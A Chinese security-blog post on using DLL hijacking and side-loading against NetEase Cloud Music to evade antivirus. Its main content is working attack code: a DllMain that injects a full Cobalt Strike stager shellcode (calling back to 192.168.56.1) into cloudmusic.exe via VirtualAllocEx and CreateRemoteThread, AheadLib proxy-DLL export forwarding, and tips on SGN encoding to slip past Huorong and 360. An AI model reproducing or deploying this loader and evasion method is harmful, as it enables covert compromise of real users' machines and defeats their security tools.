由dll劫持实现免杀
Neko205 发表于 福建 历史精选 2703浏览 · 2024-10-15 03:35

什么是DLL

windows上的动态链接库,允许多个程序复用一个dll中的代码,从而减少程序体积,详细介绍可以看

https://learn.microsoft.com/zh-cn/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library

动态链接库的创建

安装vs studio在其中就可以创建出dll项目,其中的DllMain就是函数入口

下属的switch分支四个case分别代表了,进程加载时进入,创建了一个新线程时进入,线程退出时进入,卸载dll时进入

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

其中下面四个case分别是

  • DLL_PROCESS_ATTACH 如果有全新进程加载dll
  • DLL_THREAD_ATTACH 当新线程被加载
  • DLL_THREAD_DETACH 当有一个线程退出时
  • DLL_PROCESS_DETACH 当进程卸载dll时
  • ps:进程包含线程,进程相互独立,线程共享进程

了解这些就可以写出以下的内容,例如我想在dll调用的时候输出一个helloword

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: 
        MessageBox(NULL, L"Hello World!", L"DLL Loaded", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        MessageBox(NULL, L"DLL_PROCESS_DETACH", L"DLL Loaded", MB_OK);
        break;
    }
    return TRUE;
}

因为将dll写为,如果dll被加载或被卸载就弹窗,所以只需要写一个加载他的代码就好

dll的调用分为显式与隐式,这里先关注显式调用

显式是在运行时动态的调用dll,通过windowsapi的LoadLibrary函数

#include <iostream>
#include <Windows.h>

int main() {
    // LoadLibraryA加载 DLL
    HMODULE hM = LoadLibraryA("exDLL.dll");  // 加载DLL并获取模块句柄

    if (hM == NULL) {
        std::cerr << "Failed to load DLL." << std::endl;
        return 1; 
    }

    std::cout << "DLL Loaded successfully." << std::endl;

    // 卸载DLL,触发DLL_PROCESS_DETACH
    FreeLibrary(hM);

    return 0;
}

这样就是成功调用了

windows下的动态链接库的搜索顺序

  • 当前目录
  • windows系统目录
  • 16位系统目录
  • windows目录
  • 进程当前工作目录
  • PATH环境变量列出目录

在windows中也存在不可劫持的dll,存在于注册表可以用以下命令查看

reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SessionManager\KnownDLLs"

dll劫持

不存在的dll劫持

对于不存在的dll的劫持需要关注两个条件,程序是否调用了不存在的dll,堆栈中是否存在LoadLibrary函数的调用,此外还需注意的是有些dll若被劫持会导致软件无法启动的问题,因为某些是核心调用,一般在windows系统目录中或者更高级的目录中劫持会导致软件崩溃,且很多并非在软件启动时立刻调用的dll,可能会过很长时间才被调用,如下图就是一个可被劫持的dll,但需要在软件启动后比较久的时间才会被触发,而且是多次触发。

后续又找了找,找到一个名字叫做MDMRegistration.dll能做到在启动网易的时候立刻启动

cs上线

简单抄了下注入的代码

又碰到了另一个问题,就是MDMRegistration.dll调用虽然及时,但有点太及时了,他是在cloudmusic.exe之前就被拉起的,如下图

但好在网易运行后并不只一个进程在跑可以看到还有一个进程叫做cloudmusic_reporter

成功上线,但并不完美,会卡在cloudmusic_reporter这个进程中,网易并起不来,得换dll

再找找还能找到一个叫做cscapi的dll

成功

代码如下

#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x6c\x1e\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4c\x66\x64\x47\x00\xcd\xee\x03\x85\x56\xf4\x13\x1b\xbb\xa7\xa2\x69\xbb\xc7\x4b\xcb\xc6\x4b\xd4\x85\xd6\xd8\x9f\x52\xbe\x76\x76\x54\x31\x93\xa1\x1b\x67\x66\xe5\x1c\x8c\x66\x5d\x31\x74\x67\x99\xe9\x3c\xb5\xf1\xde\x11\x67\x4f\x65\x6e\x8e\x22\x66\xb5\x1e\xaf\x94\x35\xfd\x7c\xbd\xd9\x96\x08\x07\x1b\xb3\x10\x08\x2a\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x4e\x4d\x29\x0d\x0a\x00\x72\x35\xea\x30\xab\xa1\x92\x5b\x27\x37\x7a\xce\x80\xc9\x2d\xcb\x57\x3f\x58\x79\xef\xc3\x06\x6f\x3c\xcb\xc4\xd8\xac\x12\xec\x01\x23\xbd\x23\xcb\x5c\xd1\x6e\xbf\xab\x00\x91\x97\x9b\x64\x95\xed\x58\x01\xd8\x44\x3f\xdb\xd4\x64\x03\xf3\x91\xcb\x5e\x0a\x8d\x24\x67\x99\x6a\xea\xe5\x8d\xe7\xdf\xc1\xd5\x88\xad\x88\xcf\x90\xa8\x05\xe3\xcf\x6d\xdd\x98\x4d\x0e\xdd\xdd\x0d\xda\x1d\xe3\xf4\xcd\x29\x89\x5c\xcb\x48\x05\x53\xae\x1e\x05\xa5\xef\xeb\xea\x3b\x2c\x39\x10\xf7\xbb\x32\x21\xc5\x6d\x11\x7e\xa9\xb4\x10\x9a\xfe\xb4\xdd\x65\x67\xb1\xd4\x66\xc5\x53\x7b\x92\xe6\x42\x6c\xc6\x76\x46\x52\xbb\x87\x14\x7a\x50\x2a\xb1\xd6\xa5\xce\x45\xf9\xf3\x5a\x75\x76\x77\xee\xb6\x29\x4e\x04\xb3\x72\x4e\x56\x16\x92\x0d\x1e\x3d\x1a\x27\x94\x04\x8b\xfc\x17\xe9\x12\x79\x0f\xf7\x52\x9a\x96\x89\x1a\x23\xb6\x16\x87\x0a\x98\xc7\xdc\x4a\xf3\x81\xe5\xd6\x3d\xfd\x11\xfa\x56\x69\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x00\x00\x01\x86\xa0";


DWORD FindProcessId(const wchar_t* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    if (Process32First(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    return 0;
}

int InjectShellcode() {
    const wchar_t* targetProcessName = L"cloudmusic.exe";  // 目标进程名
    DWORD processId = FindProcessId(targetProcessName);

    if (processId == 0) {
        std::cerr << "未找到目标进程。" << std::endl;
        return -1;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (hProcess == NULL) {
        std::cerr << "无法打开进程。" << std::endl;
        return -1;
    }

    LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocMem == NULL) {
        std::cerr << "内存分配失败。" << std::endl;
        CloseHandle(hProcess);
        return -1;
    }

    // 将 shellcode 写入目标进程的内存
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
        std::cerr << "写入进程内存失败。" << std::endl;
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    // 创建远程线程执行 shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "创建远程线程失败。" << std::endl;
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    // 等待线程结束
    //WaitForSingleObject(hThread, INFINITE);

    // 清理
    //VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);


    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        InjectShellcode();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

存在dll劫持

对存在的dll进行劫持,或者在查找资料的时候发现他应该还有个名字叫做DLL Side-Loading,DLL旁路加载,大致逻辑如下图

这个过程可以使用AheadLib+来快速完成,他的实现有两种,直接转发函数与即时调用函数,即时调用我暂时没成功,先来说直接转发

直接转发函数

生成代码如下

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
#pragma comment(linker, "/EXPORT:CompressFileW=cloudmusicOrg.CompressFileW,@3")
#pragma comment(linker, "/EXPORT:CompressFileW2=cloudmusicOrg.CompressFileW2,@4")
#pragma comment(linker, "/EXPORT:ConvertFile=cloudmusicOrg.ConvertFile,@5")
#pragma comment(linker, "/EXPORT:ConvertFileW=cloudmusicOrg.ConvertFileW,@6")
#pragma comment(linker, "/EXPORT:ConvertFileW2=cloudmusicOrg.ConvertFileW2,@7")
#pragma comment(linker, "/EXPORT:DecompressFile=cloudmusicOrg.DecompressFile,@8")
#pragma comment(linker, "/EXPORT:DecompressFileW=cloudmusicOrg.DecompressFileW,@9")
#pragma comment(linker, "/EXPORT:DecompressFileW2=cloudmusicOrg.DecompressFileW2,@10")
#pragma comment(linker, "/EXPORT:FillRF64Header=cloudmusicOrg.FillRF64Header,@11")
#pragma comment(linker, "/EXPORT:FillWaveFormatEx=cloudmusicOrg.FillWaveFormatEx,@12")
#pragma comment(linker, "/EXPORT:FillWaveHeader=cloudmusicOrg.FillWaveHeader,@13")
#pragma comment(linker, "/EXPORT:VerifyFile=cloudmusicOrg.VerifyFile,@14")
#pragma comment(linker, "/EXPORT:VerifyFileW=cloudmusicOrg.VerifyFileW,@15")
#pragma comment(linker, "/EXPORT:VerifyFileW2=cloudmusicOrg.VerifyFileW2,@16")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

其中的关键在与#pragma comment(linker)语句,将对当前dll的操作转发到了其他的dll,尝试弹计算器

正常的dll一般在软件的生命周期中会被多次加载所以会多次弹计算器

免杀

如果直接使用cs生产的payload,那肯定是杀光光的,可以使用sgn编码,免杀效果好看太多

仕方がない

sgn编码全名Shikata ga nai,翻译成中文就是没办法,相当好用的手段

https://github.com/EgeBalci/sgn

直接默认都能静态过火绒,注入网易云后可能是因为他的签名够白360都能过,但注入行为还是会被察觉

参考文章

0 条评论
某人
表情
可输入 255